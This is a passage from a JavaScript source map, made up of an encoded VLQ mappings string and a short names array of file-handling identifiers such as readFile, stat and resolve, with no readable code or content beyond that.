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","names":["relative","resolve","readFile","stat","readFile","stat","resolve","relative","raw","detail"]}